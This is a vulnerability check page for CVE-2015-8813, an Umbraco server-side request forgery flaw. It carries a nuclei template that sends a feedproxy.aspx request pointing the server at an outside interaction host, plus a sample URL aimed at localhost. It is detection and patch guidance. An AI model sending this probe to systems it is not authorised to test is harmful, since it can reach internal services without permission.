Umbraco <7.4.0- Server-Side Request Forgery

highseverity

8.2CVSS score

11.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Umbraco before version 7.4.0 contains a server-side request forgery vulnerability in feedproxy.aspx that allows attackers to send arbitrary HTTP GET requests via http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index.

Impact

The vulnerability can result in unauthorized access to sensitive information or systems, leading to potential data breaches or further exploitation.

Fix

Upgrade Umbraco to version 7.4.0 or above to mitigate the vulnerability and apply any necessary patches or security updates.

How to confirm it

Send: GET {{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2015-8813 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-8813

info:
  name: Umbraco <7.4.0- Server-Side Request Forgery
  author: emadshanab
  severity: high
  description: Umbraco before version 7.4.0 contains a server-side request forgery vulnerability in feedproxy.aspx that allows attackers to send arbitrary HTTP GET requests via http://local/Umbraco/feedproxy.aspx?url=http://127.0.0.1:80/index.
  impact: |
    The vulnerability can result in unauthorized access to sensitive information or systems, leading to potential data breaches or further exploitation.
  remediation: |
    Upgrade Umbraco to version 7.4.0 or above to mitigate the vulnerability and apply any necessary patches or security updates.
  reference:
    - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8813
    - https://github.com/umbraco/Umbraco-CMS/commit/924a016ffe7ae7ea6d516c07a7852f0095eddbce
    - http://www.openwall.com/lists/oss-security/2016/02/18/8
    - http://issues.umbraco.org/issue/U4-7457
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
    cvss-score: 8.2
    cve-id: CVE-2015-8813
    cwe-id: CWE-918
    epss-score: 0.11154
    epss-percentile: 0.95981
    cpe: cpe:2.3:a:umbraco:umbraco:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: umbraco
    product: umbraco
  tags: cve2015,cve,ssrf,oast,umbraco,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Umbraco/feedproxy.aspx?url=http://{{interactsh-url}}"

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from